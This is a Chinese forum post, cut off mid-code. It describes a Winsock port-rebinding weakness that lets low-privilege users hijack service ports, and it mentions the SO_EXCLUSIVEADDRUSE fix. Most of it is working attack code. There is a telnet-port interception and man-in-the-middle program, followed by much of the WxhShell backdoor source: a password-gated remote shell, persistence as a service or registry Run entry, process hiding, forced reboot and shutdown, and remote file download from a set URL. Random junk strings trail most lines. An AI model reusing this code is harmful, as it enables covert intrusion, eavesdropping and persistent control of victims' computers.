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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: !?^b[ nC%  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?YeWH WM  
!Ci~!)$z6  
  saddr.sin_family = AF_INET; y^7}oH _  
CR2_;x:0  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); kD[ r.Dma  
nI0[;'Hn,  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^Q&u0;OJ  
[b:e:P 2  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 7}jWBK  
G|\^{ 5   
  这意味着什么?意味着可以进行如下的攻击: f<A5?eKw  
.Vq)zi1<  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ]tY ^0a  
&CwFdx:Ff  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0j C3fT!n  
M`6y@<  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #M A4  
#[#KL/i)$  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  s|y:UgD  
b*ef);  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 GJqE!I,.  
*6(kbes  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 TNJG#8n%Y  
MQKfJru7  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 .5!t:FPOv  
uytE^  
  #include Et_V,s<|  
  #include GElvz'S~  
  #include UU8pz{/  
  #include    HK+/:'P u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   I7^zU3]Ul  
  int main() pu,?<@0YK  
  { zS] 8V?`  
  WORD wVersionRequested; 7)%+=@  
  DWORD ret; 67y Tvr@a  
  WSADATA wsaData; h_d<!  
  BOOL val; CkswJ:z)sc  
  SOCKADDR_IN saddr; j1 =`|  
  SOCKADDR_IN scaddr; cwV]!=RtO  
  int err; UJs$q\#RO  
  SOCKET s;  JMdPwI  
  SOCKET sc; ?aW^+3i  
  int caddsize; <LRey%{q  
  HANDLE mt; WMMO5_M z  
  DWORD tid;   jjM{]  
  wVersionRequested = MAKEWORD( 2, 2 ); aTBR|U S  
  err = WSAStartup( wVersionRequested, &wsaData ); {-BRt)L[  
  if ( err != 0 ) { @Tfl>/%  
  printf("error!WSAStartup failed!\n"); B^%1Rpcn  
  return -1; E\;ikX&1  
  } :R.&`4=X  
  saddr.sin_family = AF_INET; #Km:}=  
   {647|j;e  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 y$<Vha  
ttXjn  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); /.M+fr S  
  saddr.sin_port = htons(23); gT/@dVV  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;+1RU v  
  { XhsTT2B   
  printf("error!socket failed!\n"); ~ 8aJ S,u  
  return -1; +y 87~]]  
  } WL+]4Wiz  
  val = TRUE; RI2f`p8k  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7hy&-<  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ^s.V;R  
  { mZIoaF>t  
  printf("error!setsockopt failed!\n"); b|z g<  
  return -1; ! Q<>3 xZ  
  } 8.bKb<y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; m?HZ;  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 7=]i~7uy  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 , *qCf@$I  
+\Q?w?DE|  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) =uDgzdDyE  
  { -*2Mf Mh  
  ret=GetLastError(); NA,C Z  
  printf("error!bind failed!\n"); c#N<"cy>  
  return -1;  '8j$';&`  
  } 6WoAs)ZF  
  listen(s,2); 6 n1rL  
  while(1) n}xhW'3hU=  
  { ?OdJqw0,G  
  caddsize = sizeof(scaddr); /=uMk]h  
  //接受连接请求 r}yG0c,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); *)]"27^  
  if(sc!=INVALID_SOCKET) B^D(5  
  { ^KB~*'DN~s  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); q %A?V _  
  if(mt==NULL) 1{_A:<VBl  
  { :R):b  
  printf("Thread Creat Failed!\n"); >!6i3E^  
  break; )EyI0R]5  
  } VDB;%U*D  
  } T!W~n ZC  
  CloseHandle(mt); kqG0%WtQ  
  } .yENM[-bQ  
  closesocket(s); G#Ou[*O'  
  WSACleanup(); t?nX=i*~]  
  return 0; |lH;Fq{\  
  }   !QmzrX}h  
  DWORD WINAPI ClientThread(LPVOID lpParam) qW 1V85FG  
  { :Sg_t Of  
  SOCKET ss = (SOCKET)lpParam; p (FlR?= S  
  SOCKET sc; (wmBjQ]B<  
  unsigned char buf[4096]; wiX~D  
  SOCKADDR_IN saddr; hC_Vts[v/  
  long num; ,%bhyww<  
  DWORD val; |_u8mV  
  DWORD ret; \8O O)98'  
  //如果是隐藏端口应用的话,可以在此处加一些判断 -)!> M>=s  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Ch )dLPz@  
  saddr.sin_family = AF_INET; l!E7A Kk8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); #<( = }?  
  saddr.sin_port = htons(23); eK/?%t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2fIRlrA$  
  { (eCFWmO  
  printf("error!socket failed!\n"); ECa$vvK m  
  return -1; %=j3jj[  
  } ;jK#[*y  
  val = 100; m"c :"I6  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) E99CmG|"  
  { 2S`?hxAL  
  ret = GetLastError(); 1G~S |,8p  
  return -1; EPW7+Ve  
  } c':ezEaC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o  A* G  
  { g=}v>[k E  
  ret = GetLastError(); Rd+P,PO  
  return -1; +a= 0\lpOy  
  } 7:=5"ScV  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) O$`UCq  
  { x}$e}8|8YL  
  printf("error!socket connect failed!\n"); \F,DA"K_  
  closesocket(sc); }W)=@t  
  closesocket(ss); IGX:H)&*  
  return -1; ,(G%e  
  } 8|twV35  
  while(1) NkxCs  
  { 2}}?'PwwT  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Ja]o GT=e  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &Y@#g9G  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3HyhEVR-#~  
  num = recv(ss,buf,4096,0); O\;=V`z-  
  if(num>0) !}3,B28  
  send(sc,buf,num,0); P];JKE%  
  else if(num==0) 151tXSzLT  
  break; "fQRk  
  num = recv(sc,buf,4096,0); C-P06Q]  
  if(num>0) c.H?4j7ga  
  send(ss,buf,num,0); ghk5rl$   
  else if(num==0) e`{0d{Nd  
  break; @D`zKYwX1  
  } D y6$J3 r  
  closesocket(ss); N$?cX(|7  
  closesocket(sc); ( g :p5Rl  
  return 0 ; M/V(5IoP (  
  } +V v+K(lh$  
z*~YLT&  
5T4"j;_.BL  
========================================================== sc`"P-J+vp  
kR.wOJ7'  
下边附上一个代码,,WXhSHELL e{G_GycH  
PX".Km p.  
==========================================================  *2u E  
8dT'xuch  
#include "stdafx.h" rlok%Rt4Z  
}\v^+scD  
#include <stdio.h> .BTx&AqU  
#include <string.h> !jS4!2'  
#include <windows.h> pt:;9hA  
#include <winsock2.h> v@ONo?)  
#include <winsvc.h> {j(4m  
#include <urlmon.h> X7aXxPCq1  
](r ^.k,R  
#pragma comment (lib, "Ws2_32.lib") OsW"CF2  
#pragma comment (lib, "urlmon.lib") HOYq?40.R  
nYv#4*  
#define MAX_USER   100 // 最大客户端连接数 ^6/j_G  
#define BUF_SOCK   200 // sock buffer ;np_%?is  
#define KEY_BUFF   255 // 输入 buffer i8V0Ty4~N  
`rWB`q|i<  
#define REBOOT     0   // 重启 MM#cLw  
#define SHUTDOWN   1   // 关机 m>Ux`Gp+  
UFZ"C,  
#define DEF_PORT   5000 // 监听端口 24@^{ }  
{K aN,td9  
#define REG_LEN     16   // 注册表键长度 d O A%F$Mk  
#define SVC_LEN     80   // NT服务名长度 <4F7@q, V  
;:#U 6?=t  
// 从dll定义API ='/Z;3jt]x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {V2bU}5 [  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oo'w-\2]p  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); #-x@"+z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); KvFR8s  
*d*oS7  
// wxhshell配置信息 |i)lh_iN  
struct WSCFG { l[n@/%2  
  int ws_port;         // 监听端口 ^JhFI*  
  char ws_passstr[REG_LEN]; // 口令 9EgP9up{6!  
  int ws_autoins;       // 安装标记, 1=yes 0=no {Qtq7q.  
  char ws_regname[REG_LEN]; // 注册表键名 :k!j"@r  
  char ws_svcname[REG_LEN]; // 服务名 +BB0wY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eYP=T+  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ]UUI~sFE  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7u%a/<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no IlHY%8F{  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kJ8vKcc  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yuNfhK/#r  
:4;S"p  
}; <%!J?  
.:0M+Jr"  
// default Wxhshell configuration F/<qE!(  
struct WSCFG wscfg={DEF_PORT, GAU!_M5N  
    "xuhuanlingzhe", yKDZ+3xK]  
    1, sMi{"`37  
    "Wxhshell", $v&C@l \  
    "Wxhshell", ce5nG0@#  
            "WxhShell Service", oa0X5}D  
    "Wrsky Windows CmdShell Service", ZO7bSxAN-  
    "Please Input Your Password: ", R#0{Wg0O)  
  1, ,+-?Zv 2  
  "http://www.wrsky.com/wxhshell.exe", oeN zHp_  
  "Wxhshell.exe" #\b ;2>  
    }; agY5Dg7  
Kfjryo9  
// 消息定义模块 "|4jP za  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gB+ G'I  
char *msg_ws_prompt="\n\r? for help\n\r#>"; UvD-C?u'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; vv h.@f  
char *msg_ws_ext="\n\rExit."; ;5M<j3_*  
char *msg_ws_end="\n\rQuit."; b7'F|h^  
char *msg_ws_boot="\n\rReboot..."; h*'d;_(,  
char *msg_ws_poff="\n\rShutdown..."; } J;~P 9Y  
char *msg_ws_down="\n\rSave to "; iBHw[X,b  
t{ H 1u  
char *msg_ws_err="\n\rErr!"; eUs-5 L  
char *msg_ws_ok="\n\rOK!"; ;f(n.i  
=jUnM> 23  
char ExeFile[MAX_PATH]; 56ZrCr  
int nUser = 0; jM\ %$_/  
HANDLE handles[MAX_USER]; VCf|`V~G  
int OsIsNt; 0#`)Prop6  
YKq0f=Ij  
SERVICE_STATUS       serviceStatus; L1MrrC  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7:kCb[ji"  
;Vo mFp L  
// 函数声明 =, TSMV  
int Install(void); U?EG6t  
int Uninstall(void); (fd[P|G_]  
int DownloadFile(char *sURL, SOCKET wsh); PSEWL6=]N  
int Boot(int flag); ?360SQ<  
void HideProc(void); w -dI<s  
int GetOsVer(void); [|z'"Gk{  
int Wxhshell(SOCKET wsl); WgZ@N  
void TalkWithClient(void *cs); \P@S"QO  
int CmdShell(SOCKET sock); pE(sV{PD  
int StartFromService(void); lbofF==(  
int StartWxhshell(LPSTR lpCmdLine); x:C@)CAr  
!OQuEJR  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EOQaY  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +I.v!P!^  
Fo LDMx(  
// 数据结构和表定义 '8={ sMy  
SERVICE_TABLE_ENTRY DispatchTable[] = =SL^>HS.fo  
{ S| "TP\o  
{wscfg.ws_svcname, NTServiceMain}, PHl4 vh#E!  
{NULL, NULL} R25-/6_V>  
}; GDmv0V$6  
]gHLcr3  
// 自我安装  h.D^1  
int Install(void) DCK_F8  
{  0/*X=5  
  char svExeFile[MAX_PATH]; `r9^:TMN  
  HKEY key; CwB] )QV?  
  strcpy(svExeFile,ExeFile); EGEMZCdk2  
lux9o$ %  
// 如果是win9x系统,修改注册表设为自启动 rxArTpS{.#  
if(!OsIsNt) { X_!$Pk7ma  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { D zE E:&*=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U-ULQ|6U  
  RegCloseKey(key); p Mh++H]"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )=Y-f?o!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G "c/a8  
  RegCloseKey(key); R{ 4u|A?9  
  return 0; (Otur  
    } g!\QIv1D  
  } Pd,!&  
} ^Wk0*.wg  
else { R1~7F{FW  
0pCDE s  
// 如果是NT以上系统,安装为系统服务 m9k2h1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,`+Bs&S 8  
if (schSCManager!=0) $ JuLAqq  
{ xNx`J@xt$  
  SC_HANDLE schService = CreateService ^[*AK_o_DQ  
  ( W -3w7^  
  schSCManager, o=@ UXi  
  wscfg.ws_svcname, {YfYIt=.  
  wscfg.ws_svcdisp, DSTx#*  
  SERVICE_ALL_ACCESS, TiTYs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 5%#i79z&B  
  SERVICE_AUTO_START, + p'\(Z(  
  SERVICE_ERROR_NORMAL,  @}Pw0vC  
  svExeFile, i'9e K O  
  NULL, 7~L|;^(  
  NULL, m9uUDq#GJ  
  NULL, tPA"lBS !  
  NULL, zEAx:6`c  
  NULL mxZ4 HD{  
  ); }el,^~  
  if (schService!=0) &4[<F"W>47  
  { z[%[bs2{  
  CloseServiceHandle(schService); :> x:(K  
  CloseServiceHandle(schSCManager); EyzY2>"^  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~LSy7$rz  
  strcat(svExeFile,wscfg.ws_svcname); YqkA&qL]#;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @RQ+JYQi  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));  -\5[Nq{N  
  RegCloseKey(key); Z#%}K Z  
  return 0; "rL"K  
    } Sw/J+FO2  
  } &#$2;-q8+  
  CloseServiceHandle(schSCManager); Xk;Uk[  
} 5BZ+b_A>VV  
} K T%i,T  
}`?7\\6  
return 1; IwOfZuS  
} tP -5  
9{T 8M  
// 自我卸载 E`U &Z  
int Uninstall(void) u87=q^$  
{ rGGS]^  
  HKEY key; -i2D#i'  
Z+OAs0}mV  
if(!OsIsNt) { 2J1B$.3'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5^bh.uF  
  RegDeleteValue(key,wscfg.ws_regname); 3KB| NS  
  RegCloseKey(key); 4,o %e,z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `e4o1 *  
  RegDeleteValue(key,wscfg.ws_regname); !>?4[|?n<  
  RegCloseKey(key); JvT %R`i  
  return 0; N;e}dwh&  
  } !^n1  
} eUi> Mp  
} +?ws !LgF  
else { U;^CU!a  
3}v0{c  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); nYo&x'  
if (schSCManager!=0) <.y;&a o  
{ # w i&n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .dy#n`eP  
  if (schService!=0) (K!M*d+  
  { 2(@LRl>:  
  if(DeleteService(schService)!=0) { nYmf(DV  
  CloseServiceHandle(schService); 9(i0" hS^  
  CloseServiceHandle(schSCManager); &Xj{:s#  
  return 0; 7uWJ6Wk  
  }  zjZ;xn  
  CloseServiceHandle(schService); W*1d X"S  
  } Cb4d|yiS8  
  CloseServiceHandle(schSCManager); _Ac/ir[,:  
} IptB.bYc  
} ^\xCqVk_R  
FF5tPHB  
return 1; 6:e}v'q{  
} nL "g23  
kxt\{iy4  
// 从指定url下载文件 ]Om'naD  
int DownloadFile(char *sURL, SOCKET wsh) ~Rx~g  
{ BYhmJC|  
  HRESULT hr; -6.i\ B  
char seps[]= "/"; {o Q(<&Aw  
char *token; Yg\{S<wr  
char *file; 4f_ZY5=  
char myURL[MAX_PATH]; fU\k?'x_  
char myFILE[MAX_PATH]; fzq'S]+  
;$E~ZT4p  
strcpy(myURL,sURL); O6*'gnke  
  token=strtok(myURL,seps); * ePDc'   
  while(token!=NULL) \<0G kp  
  { PEOM1oY)w  
    file=token; (**-"o]HH  
  token=strtok(NULL,seps); ::^qy^n  
  } <DA{\'jJ  
1R^XWAb  
GetCurrentDirectory(MAX_PATH,myFILE); nsM>%+o  
strcat(myFILE, "\\"); ze#rYNvo/  
strcat(myFILE, file); 'Qp&,xK  
  send(wsh,myFILE,strlen(myFILE),0); \}]=?}(  
send(wsh,"...",3,0); 9&|12x$  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); wdN>KS2!  
  if(hr==S_OK) :pL1F)-*  
return 0; r_qncy,F  
else ^=4I|+P,6.  
return 1; (9WL+S  
e _SoM!;  
} "u3fs2  
WcV\kemf  
// 系统电源模块 A1#4nkkc9  
int Boot(int flag) [RGC!}"mr  
{ e>ZbZy?  
  HANDLE hToken; E-5ij,bHv3  
  TOKEN_PRIVILEGES tkp; ntA[[OIFO  
AaCnTRG  
  if(OsIsNt) { : 9djMsd  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); CWobvR)e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Fyi?,,  
    tkp.PrivilegeCount = 1; y{&{=1#  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |,M#8NOp:  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); T6/$pJl  
if(flag==REBOOT) { !>a&`j2:W  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  8o%<.]   
  return 0; df21t^0/  
} ~:ub  
else { *Dd(+NI  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]*kP>  
  return 0; pUCEYR  
} ^^t]vojX  
  } X$j|/))  
  else { MIk #60Ab  
if(flag==REBOOT) { |)|vG_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ^6N3 nkyZ  
  return 0; S+Y y  
} &kr_CP:;  
else { uJ) \P  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) [7SI<xkv  
  return 0; ?-(w][MT\  
} $h|I7`  
} 9:}RlL+cOk  
4:%El+,_Y  
return 1; i"r.>X'Z  
} k`iq<b  
's7SZ$(  
// win9x进程隐藏模块 M rH%hRV6R  
void HideProc(void) dH2j*G Ij  
{ //'xR8Z  
ATXx? b8h  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ?=|) n%  
  if ( hKernel != NULL ) 2S7H_qo$  
  { m\}\RnZu  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =oKPMmpCZ  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Bcd0   
    FreeLibrary(hKernel); Hm8EYPr J  
  } Gr"2G,,VI  
wFoR,oXtL/  
return; 6U,U[MWJ  
} ShsP]$Yp  
fO^EMy\  
// 获取操作系统版本 /%}YuN  
int GetOsVer(void) mXN1b!  
{ 6"rFfdns  
  OSVERSIONINFO winfo; 8YJqM,t5)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); wzLiVe-  
  GetVersionEx(&winfo); CpP$HrQ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) zYgK$u^H  
  return 1; 4o)\DB?!  
  else ?G%, k LJJ  
  return 0; ]mJAKycE%  
} W&~iO   
u=ds]XP@  
// 客户端句柄模块 +~pc% 3*  
int Wxhshell(SOCKET wsl) +=29y@c  
{ 61eKGcjs:  
  SOCKET wsh; [jtj~]&mO  
  struct sockaddr_in client; g^<q L|  
  DWORD myID; ke;*uS  
d= T9mj.@  
  while(nUser<MAX_USER) ]= QCCC  
{ +_|cZlQ&  
  int nSize=sizeof(client); |0vHy7CE  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); [#3Cg%V  
  if(wsh==INVALID_SOCKET) return 1; ~:RDw<PWp  
mG8  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); /iJcy:J  
if(handles[nUser]==0) 37M[9m|D*  
  closesocket(wsh); M@LaD 5  
else N- ?|]4e/  
  nUser++; :0TSOT9.  
  } x x`8>2T#e  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); #*;fQ&p  
me}Gb a  
  return 0; C{I8Pio{b  
} ,*}g r  
; HLMU36q  
// 关闭 socket <J_,9&\J  
void CloseIt(SOCKET wsh) 77=y!SDP  
{ C6=;(=?C  
closesocket(wsh); efAahH  
nUser--; XtH_+W+O  
ExitThread(0); +/_B/[e<>  
} z&HN>7  
Zn*CJNB  
// 客户端请求句柄 $nd-[xV  
void TalkWithClient(void *cs) ~PS2[5yo  
{ TXvt0&-  
Z=/L6Zb  
  SOCKET wsh=(SOCKET)cs; |~" A:gf  
  char pwd[SVC_LEN]; .1?i'8TF  
  char cmd[KEY_BUFF]; t%YX-@  
char chr[1]; /Geks/  
int i,j; Qmc;s{-r;  
.Mft+,"  
  while (nUser < MAX_USER) { `\u),$  
[{!j9E?(  
if(wscfg.ws_passstr) { z1KC$~{O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); u{lDof>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /*p?UW<*4  
  //ZeroMemory(pwd,KEY_BUFF); 6Bq2?;5  
      i=0; Qc =lf$  
  while(i<SVC_LEN) { 8!fAv$g0  
A = Az[  
  // 设置超时 @.]K6qC  
  fd_set FdRead; ", Rw%_  
  struct timeval TimeOut; sT"tS>  
  FD_ZERO(&FdRead); 0-MasI&b  
  FD_SET(wsh,&FdRead); +mQC:B7>  
  TimeOut.tv_sec=8; G`JwAy r'  
  TimeOut.tv_usec=0; yLa5tv/  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); "E[*rnsLN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); = ]HJa  
ZzaW@6LJF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); '  ^L  
  pwd=chr[0]; K}*p(1$u  
  if(chr[0]==0xd || chr[0]==0xa) { nF y7gA|  
  pwd=0; xbH!:R;  
  break; %<*pM@  
  } E$yf2Q~k  
  i++; k49n9EX  
    } xA1pDrfC/  
g8qAJ4  
  // 如果是非法用户,关闭 socket ]=XL9MI  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @_:?N(%(  
} v&/-&(+  
N*)8L[7_;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uXW. (x7"f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); i$<v*$.o  
U,3K6AZA 7  
while(1) { Ty`=U>K|  
~322dG  
  ZeroMemory(cmd,KEY_BUFF); Kz2^f@5=F  
btz3f9  
      // 自动支持客户端 telnet标准   V`&*%xgGR  
  j=0; FbNQ  
  while(j<KEY_BUFF) { ^WYG?/{4  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EjCzou  
  cmd[j]=chr[0]; ]]QCJf@p  
  if(chr[0]==0xa || chr[0]==0xd) { {_N(S]Z  
  cmd[j]=0; 4)Wzj4qW  
  break; 0+`*8G)  
  } #UnO~IE.m$  
  j++; zSufU2  
    } +A3\Hj&W  
szs3x-g  
  // 下载文件 #Lt+6sa]2@  
  if(strstr(cmd,"http://")) { -hV KPIb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *ww(5 t  
  if(DownloadFile(cmd,wsh)) [ #fqyg  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); cx%9UK*c  
  else -r0\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'Bn_'w~j{  
  } qBrZg  
  else { %lW:8 ckL  
l{x#*~g a  
    switch(cmd[0]) { BQmafpp`  
  .Eyk?"^  
  // 帮助 @uD{`@[  
  case '?': { $>37PVVW  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !/9Sb1_~  
    break; EF{'J8AQ  
  } <g1hdF0  
  // 安装 yFtf~8s3  
  case 'i': { `5jB|r/  
    if(Install()) ~g|0uO}.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); B{7/A[$%C  
    else &=O1Qg=K  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AS^$1i:  
    break; /3%xQK>%  
    } ~4gKA D  
  // 卸载 &jd<rs5}  
  case 'r': { } ZGpd9D  
    if(Uninstall()) #mxfU>vQ:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^moIMFl  
    else TmH13N]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); hds4 _  
    break; A>@e pCD  
    } {/!"}{G1e  
  // 显示 wxhshell 所在路径 ,B>b9,~3a  
  case 'p': { -%$ dFq  
    char svExeFile[MAX_PATH]; ee[NZz  
    strcpy(svExeFile,"\n\r"); Pt;Ahmi  
      strcat(svExeFile,ExeFile); RIx6& 7$  
        send(wsh,svExeFile,strlen(svExeFile),0); iFchD\E*o  
    break; ()JDjzQT  
    } k}qiIMdI  
  // 重启 hvZR4|k>  
  case 'b': { HaUo+,=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); % E_{L  
    if(Boot(REBOOT)) @y&,e,3!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X}^gmu<Vla  
    else { xM,(|p(  
    closesocket(wsh); 1D DOUV  
    ExitThread(0); 8Y'"=!3  
    } cYS+XBz  
    break; k= 1+mG  
    } Jtk(yp{Zz  
  // 关机 /a)=B)NH  
  case 'd': { ay[*b_f  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); GQWTQIl]  
